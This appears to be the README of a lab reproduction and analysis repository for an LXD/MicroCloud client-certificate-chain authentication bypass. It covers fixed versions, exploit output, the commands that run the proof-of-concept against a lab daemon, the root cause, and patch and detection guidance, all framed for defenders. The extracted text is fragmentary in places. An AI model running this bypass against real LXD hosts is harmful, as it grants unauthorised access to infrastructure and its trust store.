# CVE-2026-112816 — LXD / MicroCloud client-certificate chain authentication bypass
**Independent reproduction, root-cause analysis, and detection guidance.**
 |
| **Fixed** | LXD `6.10.1`, `5.21.9`, `5.0.11`, `4.0.15` · MicroCloud `3.4.1`, `2.1.5` (2026-10-29) |
| **Reproduced on** | LXD 3.20, isolated container lab, 1 Nov 2026 |
> This is not the original discovery. The vulnerability was found, reported and fixed before this
> repository existed. Everything here is an independent reproduction and explanation prepared
> after public disclosure, for defenders and for researchers studying the pattern.
`poc/verify.py` is the single source of proof. It pairs a negative control with the exploit, so a
bare `HTTP 200` cannot be mistaken for authentication.
[1/3] control: attacker leaf only (no trusted certificate)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 403
[2/3] exploit: attacker leaf + trusted public certificate
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 200
[3/3] authority: response must contain the trust store
[0] CN=trusted-client fingerprint=211cab96ad2e
reason: the same leaf was refused alone and accepted with a trusted certificate appended, and it read the trust store
The same leaf is refused alone and accepted with a public trusted certificate appended. That
├── README.md ← you are here
│ ├── 01-technical-analysis.md ← root cause, trust model, why it works
│ ├── 02-lab-reproduction.md ← exact, reproducible lab build
│ ├── 03-detection-and-mitigation.md ← exposure check, fix, detection
│ └── 04-disclosure-timeline.md ← public timeline and credits
│ ├── verify.py ← decisive check: control + exploit + verdict
│ ├── reproduce.py ← single crafted request, raw output
│ ├── make_lab_certs.sh ← throwaway lab PKI generator
│ └── README.md ← usage, design notes, exit codes
├── SECURITY.md ← scope, authorised-use terms,
# 1. Generate the lab certificates: a "victim" certificate to trust, an attacker
# keypair, and the crafted chain [attacker leaf] + [trusted public cert].
# 2. Register the victim certificate and expose the API on the lab daemon.
lxc config trust add /tmp/lab/trusted_client.crt
python3 poc/verify.py --host 127.0.0.1 --port 8443 \
--chain /tmp/lab/attacker_chain.pem --key /tmp/lab/attacker_private.key
`verify.py` exits `0` when the target is patched, `1` when vulnerable, `2` on a TLS error and `3`
when the result is inconclusive, so it can be wrapped by an audit script or CI.
The HTTPS listener is configured to **request** client certificates without requiring or
verifying them (`tls.RequestClientCert`). That is deliberate: LXD trust is a fingerprint match
against a per-daemon store, not a PKI. The bug is that the trust lookup iterated over
`r.TLS.PeerCertificates` — the whole chain as received — rather than `PeerCertificates[0]`. Since
the chain is client-supplied and unverified, any entry in it could satisfy the lookup. The fix
narrows every trust-store comparison to the first peer certificate.
[docs/01-technical-analysis.md](docs/01-technical-analysis.md) covers the annotated request flow,
the affected code paths (certificate renewal and deletion, the VM agent connection, the
authorization scriptlet), where an attacker obtains the public certificate, and the reasoning
sudo snap refresh lxd # ≥ 6.10.1 (6/stable), 5.21.9, 5.0.11, 4.0.15
sudo snap refresh microcloud # ≥ 3.4.1 (3/stable), 2.1.5
snap list lxd microcloud # verify the installed version, not the refresh result
Check exposure — a standalone LXD that never set `core.https_address` is not reachable over the
python3 poc/verify.py --host --port 8443 \
--chain attacker_chain.pem --key attacker_private.key
Full defender guidance, including how a successful bypass looks from the network side, is in
[docs/03-detection-and-mitigation.md](docs/03-detection-and-mitigation.md).
This repository is a **lab reproducer and analysis**. It contains no scanner, no payload, no
post-exploitation tooling and no target list. `verify.py` and `reproduce.py` default to
Running this against infrastructure you do not own or have written authorization to test is
illegal in most jurisdictions and is not a supported use of this code. See [SECURITY.md](SECURITY.md).
- Incus advisory and fix commit (same class of flaw, fixed 29 Oct 2026) — referenced by Canonical
- GitHub advisory `GHSA-99jp-jwmc-65p4` (canonical/lxd) — linked from the advisory
- LXD documentation, remote API authentication —
- LXD documentation, `core.https_address` and the default Unix-socket-only posture
MIT — see [LICENSE](LICENSE). Documentation is provided as-is, without warranty, for defensive
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
